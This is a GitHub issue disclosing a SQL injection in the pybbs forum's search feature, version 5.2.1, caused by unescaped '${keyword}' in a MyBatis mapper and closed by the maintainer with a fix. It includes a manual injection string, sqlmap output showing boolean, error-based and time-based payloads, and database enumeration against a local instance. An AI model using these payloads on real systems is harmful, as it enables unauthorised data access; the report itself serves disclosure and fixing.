

New issue

[Jump to bottom](#)

SQL injection vulnerability in version 5.2.1 #137

Closed

Dengxu111 opened this issue on Nov 5, 2020 · 1 comment

Dengxu111 commented on Nov 5, 2020

Official website of the manufacturer involved: <https://17dev.club/>Source code download address: <https://github.com/tomoya92/pybbs>

Framework version: V5.2.1

Vulnerability type: SQL injection

Vulnerability status: not fixed


Vulnerability level: high

Code analysis and vulnerability recurrence:

As can be seen from screenshot below(see the upper left mark of Figure 1.1 for the detailed code path), the "\$" symbol is used in the SQL statement in line 83 of the code, resulting in a possible SQL injection vulnerability. From this SQL section, we trace back to the interface functions, and then we find that the SQL section is the topic query SQL of the user's main interface.

```
70         order by t.in_time desc
71     </select>
72
73     <select id="countToday" resultType="integer">
74         select count(1)
75         from topic t
76         where t.in_time between curdate() and date_add(curdate(), interval 1 day)
77     </select>
78
79     <select id="search" resultType="map">
80         select t.id, t.title, t.content
81         from topic t
82         <where>
83             t.title like '${keyword}' or t.content like '${keyword}'
84         </where>
85         order by t.in_time desc
86     </select>
87
88 </mapper>
89
```

There is no front-end filtering operation in the input box, and the existence of the vulnerability can be verified manually. Start the project, log in the front end after registering users, create a new topic with the content of "1111111" and the title of "test", and then enter 2 in the search bar, and no data can be found. However, enter '2%' or 1 = 1 -- '(including spaces)', proving that there is a SQL injection vulnerability.



朋也社区 [首页](#) [标签](#)

搜索结果

朋也社区 [首页](#) [标签](#)

搜索结果

测试

Here is the result of sqlmap:

```
选择C:\Windows\system32\cmd.exe
[14:56:36] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[14:56:37] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[14:56:38] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[14:56:39] [WARNING] in OR boolean-based injection cases, please consider usage of switch '
--drop-set-cookie' if you experience any problems during data retrieval
GET parameter 'keyword' is vulnerable. Do you want to keep testing the others (if any)? [y/
N]

sqlmap identified the following injection point(s) with a total of 339 HTTP(s) requests:
---
Parameter: keyword (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: keyword=2' OR NOT 2100=2100#

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_
SUBSET)
Payload: keyword=2' AND GTID_SUBSET(CONCAT(0x7171786b71,(SELECT (ELT(7894=7894,1))),0x7
1706b7a71),7894)-- BKXc

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: keyword=2' AND (SELECT 6478 FROM (SELECT(SLEEP(5)))Azfd)-- eeJa
---
[14:56:39] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[14:56:39] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 251 times
[14:56:39] [INFO] fetched data logged to text files under 'C:\Users\DengXu\AppData\Local\sq
lmap\output\localhost'

[*] ending @ 14:56:39 /2020-09-01/
```

```
选择C:\Windows\system32\cmd.exe
[14:57:11] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.6
[14:57:11] [INFO] fetching database names
[14:57:11] [INFO] retrieved: 'information_schema'
[14:57:12] [INFO] retrieved: 'demo_inxedu_v2_0_open'
[14:57:12] [INFO] retrieved: 'guns_advanced'
[14:57:12] [INFO] retrieved: 'liuxing'
[14:57:12] [INFO] retrieved: 'mysql'
[14:57:12] [INFO] retrieved: 'ofcms'
[14:57:12] [INFO] retrieved: 'performance_schema'
[14:57:13] [INFO] retrieved: 'pybbs'
[14:57:13] [INFO] retrieved: 'sys'
[14:57:13] [INFO] retrieved: 'test_db_01'
[14:57:13] [INFO] retrieved: 'web_db'

available databases [11]:
[*] demo_inxedu_v2_0_open
[*] guns_advanced
[*] information_schema
[*] liuxing
[*] mysql
[*] ofcms
[*] performance_schema
[*] pybbs
[*] sys
[*] test_db_01
[*] web_db

[14:57:13] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 12 times
[14:57:13] [INFO] fetched data logged to text files under 'C:\Users\DengXu\AppData\Local\sq
lmap\output\localhost'


[*] ending @ 14:57:13 /2020-09-01/
```

The screenshot displays the Burp Suite application window. At the top, the title bar reads "Burp Suite Professional v2020.1 - Temporary Project - licensed to google". Below the title bar is a menu bar with options: Dashboard, Target, Proxy, Intruder, Repeater, Sequencer, Decoder, Comparer, Extender, Project options, and User options. The "Proxy" tab is selected. Underneath the menu bar are three sub-tabs: Intercept, HTTP history, and WebSockets history, with "Intercept" being active. The main workspace shows a detailed view of an intercepted HTTP request. At the top of this section, it says "Request to http://localhost:8080 [127.0.0.1]". Below this are four action buttons: Forward, Drop, Intercept is on, and Action. To the right of these buttons is a text input field labeled "Comment this item" and a help icon. Below the buttons is another set of tabs: Raw, Params, Headers, and Hex, with "Raw" selected. The raw request body is displayed as a text area with line numbers 1 through 12 on the left margin. The request is a GET method for the path "/search?keyword=2" over HTTP/1.1. It includes standard headers like Host, User-Agent, Accept, Accept-Language, and Accept-Encoding. The Referer header points to the same site. A large Cookie header contains several session-related cookies, including JSESSIONID and user_token. An Upgrade-Insecure-Requests header is also present. The bottom of the interface features a search bar with a magnifying glass icon, navigation arrows, and the text "Type a search term". On the far right of the bottom bar, it indicates "0 matches".

atjiu added a commit that referenced this issue on Nov 5, 2020

9e8c058

Owner

 atjiu closed this as completed on Nov 5, 2020

No one assigned

None yet

None yet

No milestone

No branches or pull requests

2 participants

